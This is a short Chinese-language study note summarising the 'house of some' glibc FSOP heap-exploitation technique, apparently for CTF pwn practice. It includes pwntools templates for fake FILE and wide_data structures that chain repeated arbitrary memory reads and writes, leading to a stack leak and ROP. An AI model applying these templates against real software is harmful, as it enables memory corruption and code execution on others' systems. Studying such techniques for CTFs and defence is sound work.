house of some
house of some
来源于大佬:https://blog.csome.cc/p/house-of-some/,本文为个人小结,如有问题请斧正,侵删
简介
house of some是house of apple2的改进链,想法是通过chain来进行FSOP,造成多次任意地址读写,从而可以做到指哪打哪。这个链条个人觉得比之apple2最大的好处是扩展性强,因为高版本的setcontext改寄存器的方式很难找到gadget来首先修改rdx了,而这条链可以直接在栈上搞rop,具有更广泛的应用空间。
思路
house of apple2中最常用的链是:
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
通常是通过控制_wide_vtable+0x68
来进行程序流执行的控制的,这样做具有很大的缺陷:一方面由于版本不同,有的版本在禁止execve后很难找到gadget从而执行orw;另一方面高版本对_wide_vtable
进行检查的话,就没有办法控制虚表了。
作者在这里思考了在具有检查的时候,如果只能选择虚表内的函数,应当怎么做。
作者考虑了虚表内的函数_IO_new_file_underflow
,它会调用_IO_SYSREAD(fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)
,在可控的情况下完全可以任意地址写。而在程序执行之后的_IO_flush_all
中,会通过_chain
串起来的单向链表调用每个file块的_IO_OVERFLOW(fp,EOF)
。
于是只要在第一次任意地址写的同时,通过构造_chain
为一串想要的IO_file块,就可以做到想要次数的任意地址读写
这里给出作者写的任意地址写和读的file模板:
fake_file_read = flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr
0x38: 任意地址写的起始地址, # _IO_buf_base
0x40: 任意地址写的终止地址, # _IO_buf_end
0x70: 0, # _fileno
0x82: b"\x00", # _vtable_offset
0xc0: 2, # _mode
0xa0: wide_data的地址, # _wide_data
0x68: 下一个调用的fake file地址, # _chain
0xd8: _IO_wfile_jumps, # vtable
}, filler=b"\x00")
fake_wide_data = flat({
0xe0: _IO_file_jumps - 0x48,
0x18: 0,
0x20: 1,
0x30: 0,
}, filler=b"\x00")
fake_file_write = flat({
0x00: 0x800 | 0x1000, # _flags
0x20: 需要泄露的起始地址, # _IO_write_base
0x28: 需要泄露的终止地址, # _IO_write_ptr
0x70: 1, # _fileno
0x68: 下一个调用的fake file地址, # _chain
0xd8: _IO_file_jumps, # vtable
}, filler=b"\x00")
通过串联多个file的任意地址读写,就可以做到泄露environ,然后在栈上泄露返回地址,从而做到栈上写rop执行的过程。非常的强大!
作者还给了个自动化脚本:https://github.com/CsomePro/Some-of-House 暂未研究过咋用的。